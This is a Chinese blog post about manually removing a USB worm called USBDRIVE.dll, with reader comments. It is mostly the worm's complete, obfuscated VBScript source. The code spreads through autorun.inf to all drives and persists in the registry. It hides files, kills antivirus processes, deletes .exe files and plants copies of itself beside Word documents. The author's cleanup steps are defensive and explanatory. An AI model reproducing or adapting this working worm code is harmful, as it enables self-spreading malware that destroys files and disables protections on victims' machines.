« 原版MS-DOS 6.22 MSDN简体中文版Microsoft Office Word遇到问题需要关闭的解决方法 »

手工删除病毒:USBDRIVE.dll(附U盘病毒免疫器)

  1)华强北那边没去了,不想每天耗几个小时在等车、坐车、塞车上,早出晚归的。很珍惜现在这份工作,虽然工资不高,但每天都会碰到新的电脑网络问题。

  2)生产线上测试用的十几台电脑同病相怜,也没开什么程序,但就是慢。打开任务管理器(Taskmgr.exe),CPU使用率居高不下,WScript.exe占大头。显示隐藏文件后,发现各盘根目录下多了这些东西:autorun.vbs,autorun.inf,doc.reg,vbs.reg,恋爱的病毒(病毒).vbs,违纪病毒.vbs,黑名单.vbs,没有发出的病毒.vbs,2007总结病毒.vbs,这是病毒.vbs,检查病毒.vbs。如果根目录下有doc文档,病毒会生成同名的.vbs脚本隐藏文件。

  3)忘记给我的U盘打预防针,也中毒了,索性带这些病毒回来玩。由于我的电脑各盘已经免疫,“autorun.inf”不可删文件夹已捷足先登各盘根目录,所以双击中毒的U盘后,尽管WScript.exe立即执行并独霸CPU,但硬盘各分区根目录下也只是多了几个.vbs及.reg文件。

  4)用记事本打开U盘的下的autorun.inf文件,内容如下:

[AutoRun]
open=

shell\open=打开(&O)
shell\open\Command=WScript.exe .\autorun.vbs
shell\open\Default=1
 

  即,双击U盘盘符后,会自动运行根目录下的autorun.vbs,此文件的内容(恋爱的病毒(病毒).vbs,违纪病毒.vbs,黑名单.vbs,没有发出的病毒.vbs,2007总结病毒.vbs,这是病毒.vbs,检查病毒.vbs的内容和autorun.vbs的一样)如下:

rem vbs.rhl

Dim fs,r,ss,w,reg,regpath,dvbs
ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & "Scrip" & chr(116) & "ing.File" & chr(83) & "yste" &chr(109) & chr(79) & "bject" & chr(34) & chr(41)
Execute ddd
rrr="set r =" &chr(119) & "scri" & "pt." &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & chr(119) & "scri" & "pt." &chr(115) & "he" & chr(108) & chr(108) & chr(34) & chr(41)
Execute rrr
sss="fs." & chr(103) &"etfil" & chr(101) & chr(40) &chr(119) & "scri" & "pt." & "scri" & chr(112) & "tfull" &chr(110) & "ame" & chr(41)
ttt="set dvbs =" & sss
Execute ttt
r.run (fs.GetSpecialFolder(0)&"\explorer.exe .\")
main()
On Error Resume Next
sub main()
regtime()
finddrive()
countdrive(ss)
regwrite()
ganranfile(ss)
xunhuan()
end sub  
Function finddrive()
if dvbs.name="USBDRIVE.dll" then
regwrite()
ganrandisk()
end if
if dvbs.name<>"autorun.vbs" and dvbs.name<>"USBDRIVE.dll" then
regwrite()
dvbs.delete(true)
end if
ss=Trim("")
Set dc = fs.Drives
For Each d In dc
If d.DriveType = 1 or d.DriveType= 2 and d.IsReady Then
ss = ss & d.DriveLetter
end if
Next
ss = StrReverse(LCase(Trim(ss)))
end Function
Function countdrive(ss)
On Error Resume Next
dim x
For i = 1 To Len(ss)
x = Mid(ss, i, 1)
if x="" then
x=Mid(ss, 1, 1)
i=1
end if
Set w = fs.GetDrive(x)
 ganrandiskroot()
Next
end Function
Function ganrandiskroot()
dim c,s,f,vbc,ts,runreg
On Error Resume Next
If w.DriveType=2 or w.DriveType=1 and w.IsReady Then
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"
Execute fff
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
fff=sss & ".copy(" & chr(34) & "D:\System Volume Information\USBDRIVE.dll" &chr(34) & ")"
Execute fff
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end if
end if
If fs.FileExists(w.DriveLetter & ":\autorun.vbs") Then
Set c = fs.opentextfile(w.DriveLetter & ":\autorun.vbs", 1)
vbc = c.readall
If InStr(vbc,"vbs.rhl") <> 0 Then
c.Close
Else
c.Close
Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
c.delete(true)
fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
Execute fff
s=Array("2007总结病毒","这是病毒","违纪病毒","检查病毒","黑名单病毒","没有发出的病毒","恋爱的病毒(病毒)")
Randomize   
i= Int((6 * Rnd) + 1)
fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"
Execute fff
Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")
b.attributes=b.attributes-b.attributes
Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
c.attributes=c.attributes+7
If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then
else
if w.DriveLetter="C" then
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")
f.attributes=f.attributes+7
else
Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end if
end if
else
fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
Execute fff
s=Array("检查病毒","2007总结病毒","违纪病毒","这是病毒","黑名单","没有发出的病毒","恋爱的病毒(病毒)")
Randomize   
i= Int((6 * Rnd) + 1)
fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"
Execute fff
Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")
b.attributes=b.attributes-b.attributes
Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
c.attributes=c.attributes+7
If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then
else
if w.DriveLetter="C" then
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")
f.attributes=f.attributes+7
else
Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end if
end if
If fs.FileExists(w.DriveLetter & ":\autorun.inf") Then
Set c = fs.opentextfile(w.DriveLetter & ":\autorun.inf", 1)
vbc = c.readall
If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then
c.Close
Else
Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes-f.attributes
Set ts = f.OpenAsTextStream(2,-2)
ts.WriteLine "[AutoRun]"
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=打开(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
ts.WriteLine "shell\open\Default=1 "
ts.close
f.attributes=f.attributes+7
end if
else
Set ts = fs.CreateTextFile(w.DriveLetter & ":\autorun.inf",true)
ts.WriteLine "[AutoRun]"
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=打开(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
ts.WriteLine "shell\open\Default=1"
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes+7
End If
end if
end Function
Function regwrite()
On Error Resume Next
dim s
a1="HKE" & "Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Mi" & "croso" & "ft\Win" & "dows\Cur" & "rentV" & "ersion\Exp" & "lorer\Ad" & "vanced\"
a2="HK" & "EY_CLAS" & "SES_RO" & "OT\DLL" & "File\"
a3="HKEY" & "_LOCA" & "L_MACH" & "INE\SOFT" & "WARE\Mi" & "cros" & "oft\Win" & "dows\Cur" & "rentVer" & "sion\poli" & "cies\Expl" & "orer\NoDr" & "iveTypeAutoRun"
a4="HKE" & "Y_CURR" & "ENT_USE" & "R\Softw" & "are\Micr" & "osoft\Wi" & "ndows\Cur" & "rentVersi" & "on\Polici" & "es\Explor" & "er\NoDriveT" & "ypeAutoRun"
a5="HK" & "EY_LO" & "CAL_MA" & "CHINE\Sof" & "tware\Mi" & "croso" & "ft\Wind" & "ows\Curre" & "ntVersi" & "on\Ru" & "n\USBDR" & "IVE.dll"
a6="R.Re" & "gWri" & chr(116) & "e"
a7="HKE" & "Y_CLAS" & "SES_ROO" & "T\VBSF" & "ile\Defau" & "ltIcon\"
set s=fs.GetDrive(fs.GetDriveName(dvbs.path)) 
scandoc(fs.GetSpecialFolder(0) & "\Installer")
if reg="wordicon.exe" then
if s="C:" then
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")
else
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\doc.reg")
end if
else
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")
else
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\doc.reg")
end if
end if
ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&regpath & ",1"&chr(34)
Execute ppp
else
if s="C:" then
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")
else
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\vbs.reg")
end if
else
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")
else
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\vbs.reg")
end if
end if
ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&fs.GetSpecialFolder(1) & "\shell32.dll,1"&chr(34)
Execute ppp
end if
ppp=a6&Space(2)&chr(34) & a1 & "ShowSuperHidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a1 & "HideFileExt" &chr(34)& "," & "1," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a1 & "Hidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & "ScriptEngine\" &chr(34)& "," & chr(34)&"VBScript" & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & "ScriptHostEncode\" &chr(34)& "," & chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}" & chr(34)
Execute ppp
ppp=a6&Space(1)&chr(34) & a2 & "Shell\Open\Command\" &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1) &"\Wscript.exe" &Space(1)& chr(34) &chr(34) &"%1"&chr(34) & chr(34) &Space(1)& "%*"  & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & "ShellEx\PropertySheetHandlers\WSHProps\" &chr(34)& "," & chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}" & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a3 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a4 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)
Execute ppp
else
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1)&"\USBDR" & "IVE.dll" & chr(34)
Execute ppp
end if
if day(date())="27" then
msgbox "小样!你的杀毐软件该升级了,磁盘已被格式化"
End If
end Function
Function scandoc(a)
On Error Resume Next
dim files,file,subfolder,folder_
set folder_=fs.getfolder(a)
set files=folder_.files
for each file in files
if file.name ="wordicon.exe" then
reg=file.name
regpath=file.path
exit Function
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
scandoc(subfolder)
next
end Function
Function regtime()
a6="R.Re" & "gWri" & chr(116) & "e"
a8="HKE"&"Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Micr" & "osoft\Win" & "dows Scr" & "ipting Ho" & "st\Settin" & "gs\Timeout"
ppp=a6&Space(2)&chr(34) & a8 &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
dim NameorPID
kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe")
for i=0 to 4
KillProcess(kill(i))
next
end Function
Function ganranfile(aa)
On Error Resume Next
dim x
For i = 1 To Len(aa)
x = Mid(aa, i, 1)
if x="" then
x=Mid(aa, 1, 1)
i=1
end if
Set x = fs.GetDrive(x)
if x.IsReady then
scan(x)
else
xunhuan()
end if
Next
end Function
Function scan(x)
On Error Resume Next
dim files,file,subfolder,folder_
set folder_=fs.getfolder(x)
set files=folder_.files
for each file in files
s=file.path
ext=fs.GetExtensionName(file)
ext=lcase(ext)
if ext="doc" then
fff=sss & ".copy("&chr(34) & mid(s,1,len(s)-3) & "vbs" &chr(34) & ")"
Execute fff
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
end Function
Function ganrandisk()
On Error Resume Next
regwrite()
dim doc, d, s, coun,w,h,oo
  Set doc = fs.Drives
for each k in doc
if k.IsReady then
h=h & k.DriveLetter
end if
next
t1=len(Trim(h))
coun=doc.count
do while coun>0
oo=h & w
clearinfo(oo)
wscript.sleep 50
Set d = fs.Drives
if d.count>coun then
for each k in d
if k.IsReady then
s=s & k.DriveLetter
end if
next
coun=d.count
t= StrReverse(LCase(Trim(s)))
w=mid(t,1,abs(len(t)-t1))
countdrive(w)
ganranfile(w)
s=trim("")
t1=len(t)
end if
if d.count<coun then
for each k in d
if k.IsReady then
s=s & k.DriveLetter
end if
next
coun=d.count
t= StrReverse(LCase(Trim(s)))
s=trim("")
t1=len(t)
end if
loop
end Function
Function xunhuan()
On Error Resume Next
dim sfo
set sfo=fs.GetDrive(fs.GetDriveName(dvbs.path))
if dvbs.name="autorun.vbs" or dvbs.name="USBDRIVE.dll" then
if sfo.DriveType=2 then
ganrandisk()
else
wscript.quit
end if
else
dvbs.delete(true)
end if
end Function

Function clearinfo(oo)
On Error Resume Next
dim dc,z
oo =LCase(Trim(oo))
For m = 1 To Len(oo)
z = Mid(oo, m, 1)
Set z = fs.GetDrive(z)
findinf(z)
v=Array(z.DriveLetter & ":\recycled",z.DriveLetter & ":\System Volume Information")
for i= 0 to 1
scanexe(v(i))
next
next
vir=array(fs.GetSpecialFolder(1)& "\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")
for i=0 to 2
scanexe(vir(i))
next
end Function
Function scanexe(a)
wscript.sleep 100
On Error Resume Next
dim files,file,folder_
if fs.FolderExists(a) then
set folder_=fs.getfolder(a)
set files=folder_.files
for each file in files
ext=fs.GetExtensionName(file)
ext=lcase(ext)
if ext="exe" then
Set f = fs.GetFile(file)
f.delete(true)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
scanexe(subfolder)
next
end if
end Function
Function findinf(z)
On Error Resume Next
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"
Execute fff
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)
Execute ppp
end if
end if
If fs.FileExists(z.DriveLetter & ":\autorun.vbs") Then
else
fff=sss & ".copy(" & chr(34) & z.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
Execute fff
Set f = fs.GetFile(z.DriveLetter & ":\autorun.vbs")
f.attributes=f.attributes+7
end if
If fs.FileExists(z.DriveLetter & ":\autorun.inf") Then
Set c = fs.opentextfile(z.DriveLetter & ":\autorun.inf", 1)
vbc = c.readall
If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then
c.Close
Else
Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes-f.attributes
Set ts = f.OpenAsTextStream(2,-2)
ts.WriteLine "[AutoRun]"
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=打开(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
ts.WriteLine "shell\open\Default=1 "
ts.close
f.attributes=f.attributes+7
end if
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\autorun.inf",true)
ts.WriteLine "[AutoRun]"
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=打开(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
ts.WriteLine "shell\open\Default=1"
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes+7
End If
if fs.FileExists(z.DriveLetter & ":\vbs.reg") then
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
end if
if fs.FileExists(z.DriveLetter & ":\doc.reg") then
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end Function

Function KillProcess(NameorPID)
On Error Resume Next
    Dim oWMI, oProcs, oProc, strSQL
    KillProcess = False
    strSQL = "SELECT * FROM Win32_Process"
    If NameOrPID <> "" Then
        If IsNumeric(NameOrPID) Then
            strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'"
显示隐藏文件        Else
            strSQL = strSQL & " WHERE Name = '" & NameorPID & "'"
        End If
    End If
    Set oWMI = GetObject("winmgmts:\\.\root\cimv2")
    Set oProcs = oWMI.ExecQuery(strSQL)
    For Each oProc In oProcs
        If IsNumeric(NameOrPID) Then
            oProc.Terminate
            KillProcess = True
        Else
            oProc.Terminate
if day(date())="27" then
       set killfile=fs.getfile( oProc.ExecutablePath)
killfile.delete(true)
        End If
end if
    Next
    Set oProc = Nothing
    Set oProcs = Nothing
    Set oWMI = Nothing
End Function

  5)上面的代码令人蛋疼,尤其是这几句:“finddrive、ganranfile、ganrandisk、小样!你的杀毐软件该升级了,磁盘已被格式化”。不管它了,当务之急,从任务管理器(Ctrl+Alt+Del)结束所有WScript.exe进程。此时CPU使用率已明显下降,然后参考照牛排以前写的显示隐藏文件的方法,让那些隐藏文件现形,记得把“隐藏已知文件类型的扩展名”前面的勾去掉(如上图);再点开始/运行/输入C:并回车,打开C盘,删掉本文第二段提到的那些以.vbs、.reg、.inf结尾的病毒文件即可,同理删掉D、E、E...盘下的相关文件。

  需要指出的是,千万不要直接双击各盘,不然病毒会通过autorun.inf卷土重来。你可以右击盘符,选择“资源管理器”,或通过刚才提到的运行命令来访问各硬盘分区(PS:右击盘符选择“打开”的效果,和直接双击是一样的,在中毒状态下不建议使用)。

  删完后,再双击盘符,会出现如下提示:

看到没,病毒断粮了:无法找到脚本文件autorun.vbs

看到没,病毒断粮了:无法找到脚本文件autorun.vbs

  这时,还要点开始/运行/输入msconfig并回车,切换到“启动”选项卡,去掉USBDRIVE前面的勾,应用。

  网上有人说,还要删除C:\WINDOWS\system32下的USBDRIVE.dll、doc.reg、vbs.reg(照牛排没找到),以及删除这个注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\USBDRIVE.dll(也没找到),修改注册表项HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache
@C:\windows\System32\wshext.dll,-4802=VBScript Script(还是没找到)

  6)最后,奉上我常用的U盘病毒免疫器(点此下载,绿色软件,才118KB,支持硬盘免疫)。

人在做天在看,转载请以链接的形式注明本文地址
本文地址:http://www.zhaoniupai.com/archives/143.html
  • 3# 摆渡尾鱼
  • 能请教你个U盘中毒的问题吗,那个毒实在太顽固了,我不知道怎么弄。
    删除时,生成一个recycle.{645FF040-5081-101B-9F08-00AA002F954E}伪装成回收站的文件夹,和autorun.inf文件,代码如下
    [autorun]
    OPEN=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\Setup.exe
    shell\open=打开(&amp;amp;O)
    shell\open\Command=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\Setup.exe Show
    shell\open\Default=1//
    shell\explore=资源管理器(&amp;amp;X)
    shell\explore\Command=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\Setup.exe Show
    然后提示无法删除,提示磁盘被写保护,格式化也格式化不了,提示媒体受写保护,操作无法完成。
    可是在CMD下用dir /as 查看recycle.{645FF040-5081-101B-9F08-00AA002F954E}\里面没有一个文件,就.和..代表上一级的两个目录,没有发现Setup.exe,这个病毒程序在哪呢,U盘被写保护,想删删不了,想格式化也格式化不了,甚至连病毒的程序都查看不到。纠结啊就看到一个配置设置文件。
    zhaoniupai 于 2011-3-17 8:32:53 回复
    打开任务管理器,你会发现病毒仍在运行,所以直接删是不彻底的。

    在CMD下看不到recycle.{645FF040-5081-101B-9F08-00AA002F954E}下的文件,可能是因为隐藏属性没去掉。

    我也碰到类似的问题,这是快播伪装者病毒《lpk.dll使U盘无法安全删除》http://www.zhaoniupai.com/archives/145.html

    最好,还是备份C盘资料后重做系统,然后用卡巴2011全盘扫一下。
    摆渡尾鱼 于 2011-3-17 10:51:36 回复
    哦,谢谢你,我今天再试试看,但是里面有我不少东西,要格式化还真有点舍不得,隐藏属性我在文件夹选项里改过了,显示隐藏文件和显示受保护的操作系统文件,在CMD下用dir /as命令就是不去除那两条的属性也能显示隐藏文件的吧?

    真是谢谢你了,朋友。
    zhaoniupai 于 2011-3-18 21:08:56 回复
    C盘的东西先拷出来。

    要显示隐藏文件,通过文件夹选项可能无法设置。可打开REGEDIT,按F3搜索SHOWALL,把右边那项CHECKEDVALUE设为1
  • 2011-3-17 1:10:28 回复该留言

发表重要讲话

◎欢迎评论,拒绝广告,带链接和敏感词的评论需审核后才会显示。

关于本站 | 手机版 | 淘宝店 | 联系邮箱:zhaoniupai#gmail.com | | 粤ICP备16052731号 | Powered By Z-Blog | SiteMap

本站对原创内容采用创作共用版权协议,转载本站内容必须遵循“署名-非商业用途-保持一致”的创作共用协议

© 2004-2017 照牛排